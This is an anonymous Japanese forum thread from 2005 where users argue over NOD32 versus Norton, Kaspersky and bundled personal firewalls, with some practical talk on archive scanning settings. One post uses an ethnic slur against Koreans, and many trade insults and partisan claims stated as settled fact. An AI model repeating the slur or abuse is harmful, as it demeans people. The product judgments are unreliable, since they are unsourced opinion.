243 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 10:52:43 ]: アンチウイルス如きに自分の信念を確固と確立とか言ってるの。
恥ずかしくて見てらんないでしょ。
244 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 10:54:03 ]: >>236
分かっているとは思うけど、一行レスで煽ってるのはアンチ or 信者
なので、気にしないほうがいいよ。
つうか既出だが、このアンチ vs 信者れがNO32最大の欠点ｗ

ちなみに性能と軽さを求めるならNOD32が有力候補なので、
やはり体験版で試してみるべきかと。

NOD32に限らず、買ってから
「これじゃあわねぇから他の製品探さなきゃ！」
という事態を避けるにためにもな。
245 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 10:59:20 ]: >>243
確かにｗ
NODに火壁がないことは欠点ではないかな、と発言した人は
「自分の信念を確固として確立していない者」なんだな、信者にとってはｗ
ほとんど宗教ｗ
246 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 11:02:04 ]: >>236
FirewallとAntiVirusは別のソフトだから、
一緒のパッケージでも設定はそれぞれにしてやらないと意味無いよ。
MS-OfficeでWordの設定しても、Excelの設定に反映されるわけじゃないのと同じ。

ちなみに昔使ってた無印Athlon1.2GHz/512Memマシン(WinXP SP2)に
NOD32いれたけど常駐でも負荷感じさせずに動くよ。

おなじマシンでNIS2005だと話にならないのはもちろん
NAV2003単体でも重くて常駐監視はとてもやってられなかった。

他に軽いのだとAVGとかかなぁ。
236のマシンスペックがわからないけど、参考までに。
247 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 11:03:27 ]: AVもFWもこのソフトじゃなきゃダメ！
って奴の方がよっぽど信者だと思うけど。
性能のいいソフトを使えばいいじゃないか。
248 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 11:03:36 ]: NODスレに常駐して魔女狩りしてるNorton信者も立派な宗教家だと思いますが。
249 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 13:11:21 ]: 書庫内の感染ファイルのみ削除する機能がない物かな･･･
削除隔離にチェックを入れてたら隔離エラーとでて
隔離せずにアーカイブごと削除されたよ
250 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 13:44:37 ]: >>246
>NAV2003単体でも重くて常駐監視はとてもやってられなかった

そりゃNAV"2003"は、常駐監視のデフォ値がアーカイブも対象なのだから当たり前。
251 名前：名無しさん＠お腹いっぱい。 [2005/12/16(金) 13:48:15 ]: 正規購入者が一人もいないスレｗ
nortonを中傷してる場合じゃないだろｗｗｗ
252 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 14:27:15 ]: >>249
マジ？NODってそんな糞仕様なの？
検出力以前の問題ジャン。
253 名前：名無しさん＠お腹いっぱい。 mailto:sega [2005/12/16(金) 14:39:36 ]: つつ1.1325 (20051215)
254 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 14:39:38 ]: >>252
しらじらしい・・・・・ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
255 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 14:55:16 ]: >>249
> 書庫内の感染ファイルのみ削除する機能がない物かな･･･
書庫解凍時にAMONで取り除く仕様だからね。
オンデマンドでその機能を付加する予定もなさそうです。
256 名前：名無しさん＠お腹いっぱい。 [2005/12/16(金) 14:58:04 ]: アーカイブごと削除するんじゃ書庫内検査の意味ねーな
大事なファイルを勝手に削除されたんじゃたまらん
257 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 15:28:34 ]: ナニコノスレ(´・ω・｀)
258 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 15:49:15 ]: ノートンに粘着するNOD厨＝日本に粘着するチョン
であることが証明されたスレであります！
259 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 15:50:26 ]: tmp5.2ch.net/test/read.cgi/tubo/1130566010/116
このスレを見る時の注意事項
260 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 15:53:53 ]: 　　 ∩＿＿＿∩　　　　　
　　 | ノ　雑音　　ヽ/⌒)　
　 /⌒) (ﾟ)　　　(ﾟ)　|　.| 　
　/　/　　( _●_)　ミ/ 　　ＮＯＤの性能は宇宙一ィィィィ！！！！！
.（　　ヽ　　|∪|　　／　　　　　そうだ！そうだ！　ノートンは糞なんだぁぁぁぁ！
　＼　　　ヽノ　/ 　　
　 /　　　　　　/　　
　|　　　_つ　 / 　　　
　|　 /UJ＼　＼　　　　　　　
　|　/ 　　　 )　 )　　　　　　
　∪　　　（　＼　　　　
　　　　　　＼＿)
261 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:22:50 ]: >>256
大事なファイルがウィルスと一緒にアーカイブさせているほうが変だよ。
262 名前：名無しさん＠お腹いっぱい。 [2005/12/16(金) 18:32:04 ]: 前にもメールが全部削除されるって話がありましたよね･･･
それって不具合じゃないのかな、、、対応する素振りも見せないし。。。
263 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:34:43 ]: 不具合というより、仕様を理解せずに無茶な設定をした結果だろうな。
理解せずに設定値を変えてトラブルのは自業自得だろ。
264 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:38:24 ]: そんなミスを犯す奴って基本的に頭の構造に問題があるんだろうな。
そんな奴はデフォルトのまま使ってろってw
265 名前：名無しさん＠お腹いっぱい。 [2005/12/16(金) 18:43:21 ]: そんなの誰一人金払って買ってないこのスレで言えた事かｗ

自業自得ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
266 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:47:30 ]: 俺ちゃんと購入してる。
267 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:49:14 ]: これがオススメ

「キングソフトインターネットセキュリティ2006」（金山毒覇）

まもなく無償ダウンロード終了！欲しい人は急げ！

www.kingsoft.jp/
268 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 18:59:17 ]: > 累計ダウンロード数・・・・・・・・ 592,594 本
お、すごいね。
５９万ですか？

推測した内訳
・ダウンロードしてインストしなかった人10万人
・インストしたけど糞なので消した人40万人
・不具合出まくりだけど頑張っている人4万人
・なんかよくわからんけど使っている人5万人

こんな感じたろw
269 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 19:14:47 ]: 100万突破したら半年無料になるらしいな。
結局どうでもいいってこった！
270 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 19:27:12 ]: 体験版で試して、気に入ったから買ったよ。
ﾉｰﾄﾝは買いたいと思わないけど。
271 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 19:52:55 ]: なにかにつけてノートン(これが一番多い)と比較したがる厨は、
NOD信者だろうとNorton厨だろうと同レベル。
どっちか騙って荒らしてるのがほとんどだと思うけど。
普通の機能比較じゃなくてこれ最強あれ最強と根拠のないレスばっかり。

俺はNortonからNODに乗り換えたけど、もうNortonに興味ない。
今使ってるソフトしか調べようとも思わないし、その他は眼中からなくなった。
今後Norton使えばNoroton使い倒そうと思うしKAVならKAV使い倒そうと思う。
あれ？マジレスしちゃった。
272 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 20:08:09 ]: アンチウイルスソフトにこだわるのも面倒だよね。
まあ大切ではあるかもしれないけど。
273 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 20:23:12 ]: >あれ？マジレスしちゃった。

それ以前に、
大半がスレ主のZ先生の自演だし。(・∀・)ﾆﾔﾆﾔ
274 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 21:30:36 ]: >>271
ノートンと比較して荒らしたいのはお前だけw
NOD32の比較相手は昔も今もKaspersky。
2chだけではなく、海外のセキュリティサイトでも同様。
NOD32とKasperskyのどちらがより高性能なのか？は、ここ数年間の共通した論争点なんだよ。
悪いけど、ノートンは入ってない。
275 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 21:51:56 ]: どっちが高性能かというのも方向性の違いで解決したと思うんだがな・・・
276 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 22:19:14 ]: なる。
自演を続ける動機の一つに、
>>274を繰り返し主張したいってのが含まれていたのね（ｗ
277 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 22:37:01 ]: >>275
> どっちが高性能かというのも方向性の違いで解決したと思うんだがな・・・
解決？
なにを言いたいのか分からないが、良きにせよ悪しきにせよNOD32とKasperskyは常に比較され続けている。
ウィルスに対する対応手法が大きくことなることと、どちらもアンチウィルスを代表する性能を有していることが背景にある。
シグネチャの量と配布の速さでKaspersky、ヒューリスティック性能と最小のシグネチャによる高効率な防衛をするNOD32。
この両者は常に比較されるに相応しい性能を有している。

非常に多くの書庫に対応しているKaspersky、最小限度の書庫にしか対応していないNOD32。
それでいて、NOD32は実行可能型書庫をKasperskyよりも巧みに検査するエンジンを有している。
実行可能型書庫の多くが内部に専用のRUNTIMEを持ち、それによるカプセル化で圧縮と同時にウィルスコードを隠蔽する。
その多くをNOD32の検査エンジンはどのアンチウィルスソフトより巧みに精査し高速で正確にウィルスを発見する。
アプローチ手法が全く異なる両者のどちらもが最高性能ともなれば興味が沸くのは自然で、その興味から比較と論争が絶えない。
278 名前：名無しさん＠お腹いっぱい。 [2005/12/16(金) 22:46:12 ]: >>277
いいこと教えてやろうな
お前のようなもんを『文盲』ていうんだよ
279 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 22:57:56 ]: マジレスすると、書庫内のウイルスファイルだけ駆除も、メール単体のウイルス駆除も当たり前にできる。
あたりまえだろ。

丸ごと消えてるやつは、
自分でおかしな設定（メールボックスファイルごと削除、確認せず書庫ごと削除）にしてるだけ。

Blackspearの設定をよくよんで、自分に適したオプションを選ぶべし。
（注意書きにもあるが、この例のままだと駆除できない未知ウイルスは削除して検疫送り）

www.wilderssecurity.com/showthread.php?t=37509
280 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:29:54 ]: >>279
>書庫内のウイルスファイルだけ駆除も、メール単体のウイルス駆除も当たり前にできる。
>あたりまえだろ。

キヤノンのサポートでは、そんなことは出来ないと書いてるよ。
canon-sol.jp/supp/nd/wndt7003.html
ここにもそんなことが可能だという説明は見当たらない。
www.wilderssecurity.com/showthread.php?t=37509
281 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:30:26 ]: >>250
> そりゃNAV"2003"は、常駐監視のデフォ値がアーカイブも対象なのだから当たり前。
それも殆ど言い訳だな。
デフォルト値を変えてアーカイブを対象から除外しても重いし、対象となるアーカイブが存在しなくても重い。
元々激重なのに比べてアーカイブがデフォルトで対象となっていて、尚且つアーカイブが大量に存在するフォルダを開くと
激重が超激重になるってだけだ。
282 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:32:23 ]: >>277
馬鹿だねぇ、常に比較され続けていることと、どちらが高性能かというのは別だろうに。
もしかしてその違いも分からないの？
283 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:33:43 ]: NOD32の情報
バージョン:1.1325 (20051215)
日付:2005年12月15日
ウイルス定義ファイルビルド:6459

他のスキャナサポートに関する情報
アドバンスドヒューリスティックバージョン:1.023 (20051109)
アドバンスドヒューリスティックビルド:1094
インターネットフィルタバージョン:1.002 (20040708)
インターネットフィルタビルド:1013
アーカイブサポートバージョン:1.038 (20051212)
アーカイブサポートビルド:1140

インストールされたコンポーネントの情報
NOD32 for Windows NT/2000/XP/2003 - ベース
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - インターネットサポート
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - 標準コンポーネント
バージョン:2.50.42
284 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:37:29 ]: >>280
単に279が読み違えいるだけだろ？
NOD32のオンデマンドスキャナに書庫内のウィルスだけを駆除する機能は備わっていない。
運用としては、該当書庫を開いたときにAMONによりウィルスだけを駆除する使い方となる。
これは書庫を開くことによって解凍済みファイルがテンポラリフォルダに展開されることによる用法だ。
展開されたファイル群からウィルスだけがAMONによって駆除され、それをそのまま圧縮保存することで、
書庫内に潜むウィルスのみを駆除する機能として利用されているだけ。
285 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:38:56 ]: > 馬鹿だねぇ、常に比較され続けていることと、どちらが高性能かというのは別だろうに。
そこは論点ではないが敢えて聞く。
どっちが高性能なの？
286 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 23:55:48 ]: （´・ω・）ｶﾜｲｿｽＡは仲間を呼んだ！
（´・ω・）ｶﾜｲｿｽＢが現れた！
（´・ω・）ｶﾜｲｿｽＣが現れた！

（´・ω・）（´・ω・）（´・ω・）ﾃﾗｶﾜｲｿｽ

（´・ω・）ｶﾜｲｿｽ達が･･･？
..
..　　　　　　　（´・ω・）
　　　　　　　彡
　　　　　　　　　　　　　　　　　　（´・ω・）ミ
　　　　　　　　　　　　　（´・ω・）
.　　　　　　　　　　　　　（´・ω・）
　　　　　　　　　　　（´・ω・）（´・ω・）
　　　　　　　　　　　（´・ω・）（´・ω・）

合体してキングカワイソスになった！
　　　　　　　　　　.,Å､
　　　　　　　 .r-‐i'''''''''''i''''‐-､
　　　　　　 o|　ｏ!　.ｏ　 i ｏ　!o
　　　　　　.|＼__|｀‐´｀‐／|__/|
　　　　　　 |_, ─''''''''''''─ ,､ / _
　　　　／　　　　　　　　　　　　＼
　　　 /　　　　／　　　　　　　　　i
　　　|　　　　　 ●　（__人_） ●　　 |　キングカワイソス・・・
　　　 !　　　　　　　　　　　　　　ﾉ
　　　丶_ 　　　　　　　　　　　　　ノ　
287 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:01:58 ]: >>285
問うてやるな。
基本性能面では、既に結論は出ている。
純粋なウィルス防衛性能は、NOD32、Kaspersky、ノートンが同クラスの性能で最高性能。
ここで差はつかない。

常駐監視の軽さはNOD32がKasperskyとノートンを抑えて優秀。
スキャン速度もNOD32がKasperskyとノートンを抑えて優秀。

これに異論を唱える専門家は一人もいない。
288 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:04:14 ]: 結果的にNOD32が最強ってことだな。
289 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:07:36 ]: >>280, >>284
書庫は

・[アクション] - [ウイルス検出時] : 駆除
解凍されて、ウイルスだけが削除される。
感染してたファイルは駆除されて残る。

・[アクション] - [ウイルス検出時] : 削除
感染してた書庫ファイルごと削除される。

・感染したファイルだけ削除（駆除ではなく）して書庫のこしたい場合
・[アクション] - [ウイルス検出時] : ダイアログを表示

とかにして、書庫解凍ソフトで自分で解凍。
感染してるファイルを単体で駆除してみて、だめならファイルごと削除。
（アーカーバーで削除すれば、残りのファイルは書庫として保存される）

の３択から自分で好きなの選べだろ。

メールは
「メーラーでメールファイル読んでて、IMONで監視させてるなら、メール一通ごとの駆除/削除ができる」だろ。

おかしいのは、「エクスプローラーとかで、メールボックス（メール全部が固められたファイル）ごと
オンデマンドで手動駆除とかすると、固められたファイル丸ごと扱ってるから、
当然丸ごと削除されたりする」 =＞おまえの使い方が間違っている = >>280のページの注意書きのとおり

分かってないやつ多すぎｗ
290 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:08:31 ]: 基本性能面だけに限ればそうなる。
しかし、価値は基本性能面だけでは決まらないからね。

より多くの書庫に対応していることを好み、Kasperskyを使っている人は多い。
単にアンチウィルス防衛だけでなく、総合セキュリティとして信頼の大きなシマンテック社の製品を選ぶ人はメジャーだ。
291 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:10:31 ]: >>289
貴方は「駆除」の意味を理解できていない。
駆除とは、感染したウィルスを取り除くことであり、書庫内に含まれているだけのウィルスは駆除対象にはならない。
292 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:10:54 ]: FirewallソフトとしてはNISはKerio, Outpost, Sygate, Jeticoはもちろん、ZoneAlarmにも及ばない糞FierwallソフトってことでFirewallスレでは結論で照るんだが。
（leaktestで漏れまくり）

ノートン単体の評価はともかく、単体Firewallに遥かに劣るザル火壁使って、信頼も、総合セキュリティもないよ。
293 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:12:00 ]: >>289
お前が妙な粘着を繰り返しているだけｗ
294 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:12:21 ]: >>291
だからAMONでファイル単体で駆除されるって話だろ？ｗ
そんな、みんなわかってること偉そうにいって楽しいのかね。
295 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:13:17 ]: >>292
それはPFWの世界、つまり貧乏人の世界の話。
FWといえば通常は専用のFWマシンを使う。
296 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:14:25 ]: PFWの話してるんだろ。
だれもCHekpointのFirewall-1とかの話してないよ。
ﾊﾞｶばっかだな・・・
297 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:15:09 ]: >>293
粘着乙ｗ
298 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:15:41 ]: NODは設定画面をもっと簡略化すれば大衆受けすると思うだけどなぁ。
299 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:16:05 ]: >>295
PFWとしても、専用FWとしても、NIS付属のFirewallは糞。
他の単体ソフトに遠く及ばない。

それが結論だよ。
300 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:17:00 ]: >>290
自演乙ｗ

>純粋なウィルス防衛性能は、NOD32、Kaspersky、ノートンが同クラスの性能で最高性能。
>「ここで差はつかない。」

>>3の結果を読むと差があるじゃん。
www.av-comparatives.org/seiten/ergebnisse/report07.pdf の結果も同一ではないよ。
ローカルなものへの対応速度も考慮する必要があるしね。
301 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:17:58 ]: >>294
AMONの動作は正確に言うと駆除ではなく削除。
駆除は感染済みexe(exeコード実行によりウィルスコードが発動するもの)のウィルスコードのみを削除する機能を指す。
単にウィルスを含めて圧縮した書庫だと、解凍しても感染はせず、ウィルスと正常なファイル(exe含む)に展開されるだけ。
その展開されたウィルスを削除する。
これは駆除とは呼ばない。
302 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:19:00 ]: まぁ書庫対応数やウイルスの対応速度やらも人によっては重要な価値基準だしね。
あえて値段を挙げる人も中にはいるだろうし。
303 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:20:16 ]: >>300
まぁny厨なんざ犯罪者なんだか奴らに取ってはAntiny対応率がすべてなんだろうな。
304 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:20:36 ]: > PFWとしても、専用FWとしても、NIS付属のFirewallは糞。
これもおかしい。
シマンテック社は総合セキュリティ会社。
NIS付属のFirewalだけを糞扱いするのは滑稽だ。
305 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:21:01 ]: >>295
おいおい、適当なこというな。
「専用FWをおいていればＯ！クライアントにPFW入れてるﾔﾂは貧乏人！」とか思ってるﾔﾂこそ貧乏人。

アプリ起動や、TooLeakyやFireHoleみたいなブラウザ系Leakは専用Firewallじゃ検知できないし、防げない。
これはPFWが担当する領域だ。
両方使って補完させろって話だ。
306 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:21:51 ]: >FirewallソフトとしてはNISはKerio, Outpost, Sygate, Jeticoはもちろん、
>ZoneAlarmにも及ばない糞FierwallソフトってことでFirewallスレでは結論で照るんだが。
>（leaktestで漏れまくり）

どうせleaktestをクリアする為には、アプリが外部と通信する度に手動で許可する使い方をする必要があるから、
実用的な使い方をする分には、そんなに差を感じない。
Sygateなどは相性問題が浮上することがあるし、
Outpost, ZoneAlarmのフリー版は、設定可能なFWルールが少ない。
307 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:21:52 ]: >>304
あなたの言ってることはめちゃくちゃです。
Symantecスレにお帰りください。
308 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:22:11 ]: >>300
NOD32はインストーラ型のウィルスをオンデマンドでは検知しないのでその分成績が悪くなっているだけ。
309 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:23:18 ]: >>304
シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。
310 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:23:57 ]: >>308
それだけが原因で差が出ていると解説している専門家のソースは？
311 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:24:50 ]: 仮にシマンテックのエンタープライズ用ファイヤーウォールが立派な製品だとして、
Norton Internet Security付属のPFWができそこないのゴミなことと、何の関係が？
シマンテック信者は頭おかしいよ。
312 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:25:30 ]: >>311

>>306
313 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:26:17 ]: >>310
av-comparativesの責任者であるIBK自身が述べていることだし、使用している検体もまだ完全にクリーンでは
ないとも発言している。
314 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:27:04 ]: >しかしＩＥのルールが半ば強制的に作られてしまうNPFでは
>どうやってもFireHoleやTooLeakyを防ぐことは不可能である。
>全ブロックも指定できないので常時接続環境ではかなりアウトバウンドについて無防備なPFだと言える。

NIS”だけ”は、>>306みたいな運用での回避ができないから、糞なんだろ。
315 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:27:14 ]: >>313
具体的なソースのリンクを貼れよ。
316 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:27:51 ]: >>315
自分で探せよw
317 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:28:26 ]: おまいらなんつーか

必死だな……
318 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:29:02 ]: >しかしＩＥのルールが半ば強制的に作られてしまうNPFでは

後から変更可能。
319 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:29:07 ]: >Outpost, ZoneAlarmのフリー版は、設定可能なFWルールが少ない。

OutpostやZoneAlaramは製品版はあるわけですが、どうして「NISの製品版」と比較してるの？

Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。
これが真実。
320 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:29:45 ]: とりあえずNISはスレ違い。
ノートン信者はｷｴﾛ
321 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:30:30 ]: Symantec厨の粘着ｷﾓｰ
322 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:30:45 ]: >Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。
>これが真実。

根拠なし（ｗ
323 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:30:47 ]: >>315
過去ログに載ってる、確かPart24か25の真ん中あたり。
324 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:31:36 ]: >>323
ここに貼れと言っている。
325 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:31:58 ]: わがまま嫌い。
326 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:32:38 ]: >>322
おまえがなｗ
NODスレでノートン、ノートン、バカみたく叫んでないで、Firewall総合スレにいって

「NISこそ最強のPFWだ！OutpostもZAもKerioもノートン以下！」

って書いてこい。すぐわかるよ。
327 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:33:36 ]: >>304
>シマンテック社は総合セキュリティ会社

(笑)
328 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:33:36 ]: >どうやってもFireHoleやTooLeakyを防ぐことは不可能である。

Kerio, Outpost, Sygate, Jeticoだって回避する為には、
アプリが外部と通信する度にいちいち手動で許可する設定で使う必要があるだろ。
どうせ普段はそんな使い方はしない。
329 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:34:30 ]: >>326
>Firewall総合スレにいって

Firewall総合スレにもお前が居るだろｗ
330 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:34:47 ]: >>328
NISが優れてるという話にはぜんぜんつならない罠。
糞なものをいくら詭弁でごまかそうとしても無駄。
331 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:35:57 ]: >Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。

Outpostのフリー版単体じゃ、プライバシー保護とか個人情報保護とか出来ないだろ。
332 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:36:38 ]: >>330
アンチウィルスソフトに付属しているPFWとしては優秀に位置する。
それが価値、単体品と比べて糞と騒いでいる奴はバカ。
333 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:37:20 ]: つーか、もともとセキュリティ統合型のソフトだし。
334 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:38:13 ]: >>332
ワードパッドはOSに付属しているワープとしては優秀に位置する。
それが、糞と騒いでいる奴はバカ。

おまえは一生NISのFireweallとワードパッド使ってろよｗ
335 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:38:43 ]: Norton信者のレベルの低さがしれるな・・・
336 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:39:06 ]: スレ違いのシマンテックｷﾁｶﾞｲｳｻﾞｰ
337 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:39:25 ]: >>335
マッチ＆ポンプｗｗｗ
自演乙ｗｗｗ
338 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:39:33 ]: アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

電波でまくりだな。
339 名前：332 mailto:sage [2005/12/17(土) 00:40:09 ]: >>334
俺はNOD32とOutpostを使っている。
どれを使っているのかはまた別の話。
340 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:41:00 ]: というかノートンで競合他社よりすぐれているパーソナル向け製品無いだろ。

AntiVirusもAntiSpywareもFirewallもどれも２流。

２流のソフトを統合して、３流パッケージになったのがNISｗ
341 名前：332 mailto:sage [2005/12/17(土) 00:41:56 ]: >>340
スレ違い。
ノートンスレで騒いでくれよ。
342 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:42:02 ]: じゃぁ、俺はNOD32とNISのFirewall使ってる。

のーとんさいこー、まじfirewallすげぇー
343 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:42:29 ]: >>341
ノートン、ノートンひとりで騒いでるのはおまえだろｗ
バカがｗ
344 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:43:02 ]: >>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。
345 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:43:04 ]: NG Nameに332 追加♪
346 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:43:08 ]: と荒らしが喚いてますw
347 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:43:49 ]: Nortonが一流（笑）
348 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:44:03 ]: >>343
また自演扱いかよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
何とかの一つ覚えだな！プ
349 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:44:53 ]: >>348
ヒント

節穴さん。
350 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:45:28 ]: 344 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。
351 名前：332 mailto:sage [2005/12/17(土) 00:45:40 ]: >>344
世間一般評価はそうだよな。
私はNOD32使いだが、ノートンは一級品だと思っているよ。
ただ、私の感性に合わないから使っていないだけ。
